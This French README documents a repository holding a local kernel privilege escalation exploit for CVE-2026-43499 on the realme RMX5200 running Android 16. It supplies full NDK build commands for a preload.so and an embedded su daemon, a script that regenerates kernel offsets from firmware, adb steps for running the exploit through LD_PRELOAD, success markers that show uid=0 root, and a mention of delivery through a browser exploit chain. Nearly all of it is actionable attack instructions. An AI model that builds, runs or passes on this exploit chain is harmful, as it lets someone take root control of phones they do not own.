CVE-2026-43499 pour realme RMX5200

CVE-2026-43499 élévation de privilèges locale SO pour :

Élément	Valeur
Appareil	realme RMX5200 / RE6030L1
Android	16
Noyau	6.12.23-android16-5-gb2a876903b49-ab14541642-4k
Empreinte	realme/RMX5200/RE6030L1:16/BP2A.250605.015/...:user/release-keys

Binaire préconstruit : bin/preload.so

Ce dépôt contient uniquement l'arborescence de compilation du SO (sources + offsets + préconstruit). Pas d’outil de navigation, pas de dumps de firmware, pas d’infrastructure de test.

Basé sur la chaîne publique IonStack / style popsicle ; les offsets ont été régénérés à partir de boot.img + xbl_config.img de cet appareil.

---

Disposition

.
├── bin/preload.so              # objet partagé aarch64 préconstruit (vérifié)
├── generate_target.py          # facultatif : régénérer target.h depuis boot+xbl
├── source/
│   ├── Makefile
│   └── src/
│       ├── target.h            # offsets RMX5200
│       ├── main.c preload.c slide.c ...
│       └── kernelsnitch/
└── README.md

---

Compilation

Prérequis :

• Android NDK (r27+ recommandé)
• Python 3 + llvm-objdump (uniquement si régénération de target.h)

Avec make

# Exemple Linux NDK
export NDK_ROOT=/chemin/vers/android-ndk
make -C source clean preload

# Exemple Windows NDK
make -C source clean preload \
  NDK_ROOT="/c/Users/VOUS/AppData/Local/Android/Sdk/ndk/27.2.12479018" \
  NDK_TOOLCHAIN="/c/Users/VOUS/AppData/Local/Android/Sdk/ndk/27.2.12479018/toolchains/llvm/prebuilt/windows-x86_64"

Sortie :

source/build/bin/preload.so

Sans make (clang direct)

cd source
mkdir -p build/bin build/embed
CC="$NDK_TOOLCHAIN/bin/aarch64-linux-android35-clang"

$CC -O2 -Isrc -fPIE -pie -DTARGET_CONFIG_H=\"target.h\" \
  src/su_daemon.c -o build/embed/su_daemon_aarch64_pie

$CC -O2 -Isrc -fPIC -Wno-unused-parameter -Wno-sign-compare -Wno-unused-function \
  -DTARGET_CONFIG_H=\"target.h\" \
  src/main.c src/util.c src/slide.c src/fops.c src/pipe.c \
  src/preload.c src/su_blob.S \
  -shared -o build/bin/preload.so -pthread

Régénérer les offsets (facultatif)

Nécessite les images firmware correspondantes (non fournies ici) :

python3 generate_target.py \
  --boot boot.img \
  --xbl-config xbl_config.img \
  --llvm-objdump llvm-objdump \
  -o source/src/target.h

---

Exécution

ADB LD_PRELOAD

adb push bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
adb shell '/data/local/tmp/su -c id'

Chaîne navigateur (externe)

Chargez ce preload.so via un hôte de style Firefox-151 lonStack (par exemple l'entrée d'appareil Rootme). Non inclus dans ce dépôt.

Marqueurs de succès :

slide-kaslr-ok
direct credential result uid=0 ...
local su binary ready path=/data/local/tmp/su
direct-root-summary root=1 ...

uid=0(root) gid=0(root) ... context=kernel

---

Remarques

• Root temporaire uniquement — perdu après redémarrage.
• Après succès, certaines applications peuvent échouer à l'initialisation du Framework jusqu'au redémarrage (même classe d'effet secondaire que les cibles publiques apparentées).
• Les offsets sont spécifiques à la compilation. Les autres compilations OTA nécessitent un nouveau target.h / une recompilation.
• Pour une recherche de sécurité autorisée sur des appareils vous appartenant.

---

Crédits

• Contexte de recherche publique : analyses IonStack / CVE-2026-43499
• Lignée d'implémentation : chaîne preload.so de style popsicle
• Adaptation à l'appareil : RMX5200 (RE6030L1)